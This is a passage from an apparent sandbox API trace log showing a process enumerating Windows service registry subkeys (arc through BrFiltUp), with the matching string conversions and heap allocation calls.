(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.245] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.245] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.245] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0223.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.246] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.246] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f16e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.246] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.246] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0223.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.247] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.247] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.247] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0223.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.247] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.248] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0223.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0223.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.248] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0223.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0223.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.248] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.248] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0223.248] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.249] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.249] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.249] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0223.249] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.249] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.250] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.250] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.250] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.250] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.250] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0223.250] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.251] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0223.251] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.251] RtlAllocateHeap 